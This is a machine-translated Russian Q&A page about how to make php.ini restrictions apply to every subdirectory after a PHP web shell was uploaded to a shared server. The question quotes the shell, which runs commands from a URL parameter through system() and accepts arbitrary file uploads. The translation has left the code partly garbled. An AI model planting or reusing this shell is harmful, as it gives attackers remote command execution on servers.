Как мне разрешить файлу php.ini влиять на все каталоги / подкаталоги моего сервера? - PullRequest
1 голос
/ 18 октября 2008

Несколько недель назад я открыл дыру на общем сервере, и мой друг загрузил следующий PHP-скрипт:

<code><?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "
"; умереть; } ?> <? PHP if (isset ($ _ REQUEST ['upload'])) { echo '<form enctype = "multipart / form-data" action = ". config.php? send" method = "POST"> Отправьте этот файл: Здесь: '; } ?> <? PHP if (isset ($ _ REQUEST ['send'])) { $ uploaddir = $ _POST ["direct"]; $ uploadfile = $ uploaddir. Базовое имя ($ _ FILES [ 'UserFile'] [ 'имя']); if (move_uploaded_file ($ _ FILES ['userfile'] ['tmp_name'], $ uploadfile)) { echo "Файл действителен и был успешно загружен. \ n"; echo $ uploaddir; } еще { echo "Ошибка загрузки"; } } ?>

Этот скрипт позволяет ему обрабатывать команды через переменные в URL.

Я отключил систему, помимо других функций, в файле php.ini в моем каталоге public_html. Это предотвратит запуск скрипта, если он находится в моем каталоге public_html, но не остановит его, если он находится в подкаталоге этого. Если я скопирую файл php.ini в подкаталог, он остановит его запуск из этого каталога.

У меня такой вопрос, как мне разрешить файлу php.ini влиять на все каталоги / подкаталоги моего сервера?

Ответы [ 4 ]

1 голос
/ 18 октября 2008

Вау! переместить файл php.ini для каждого каталога? Не знал, что ты мог бы сделать это.

Моя лучшая догадка (кто-то, пожалуйста, исправьте меня, если я ошибаюсь), php, вероятно, переопределяет глобальный файл php.ini с локальным набором правил для каждого каталога (очень похоже на .htaccess), так что в основном все, что вам нужно для этого нужно обновить ваши директивы php.ini до глобального php.ini (находится здесь в ubuntu: etc / php5 / apache2 / php.ini)

В качестве альтернативы, вы можете попробовать использовать .htaccess, чтобы добавить php-страницу ко всем страницам следующим образом:

ini_set('your_directive')

Конечно, убедитесь, что .htaccess, который вызывает prepend php, находится в корне, иначе вы застряли с той же проблемой.

/ * тр * 1010

1 голос
/ 18 октября 2008

Во-первых, выбрасывайте "друга", который выбирает такие сценарии.

Тогда беспокойтесь о защите вашего сервера. В вашей системе где-то есть мастер php.ini (часто это /etc/php.ini, но если это возможно в нескольких местах, проверьте php_info ()) Этот файл управляет настройками по умолчанию для вашего сервера. Также вы можете заблокировать локальные файлы настроек, которые разрешают переопределения.

0 голосов
/ 26 мая 2009

Ты уверен? Я бы хотел, чтобы у меня был ваш провайдер. По умолчанию некоторые интернет-провайдеры предоставляют локальную копию файла ini в public_html, чтобы разрешить переопределения. Но cPanel обычно предоставляет только ссылку на значения по умолчанию для всего сервера.

0 голосов
/ 18 октября 2008

Спасибо, ребята, ваши ответы были великолепны, но ответ был все время у меня под носом. Через cPanel я смог отредактировать свой сервер для использования одного файла php.ini.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...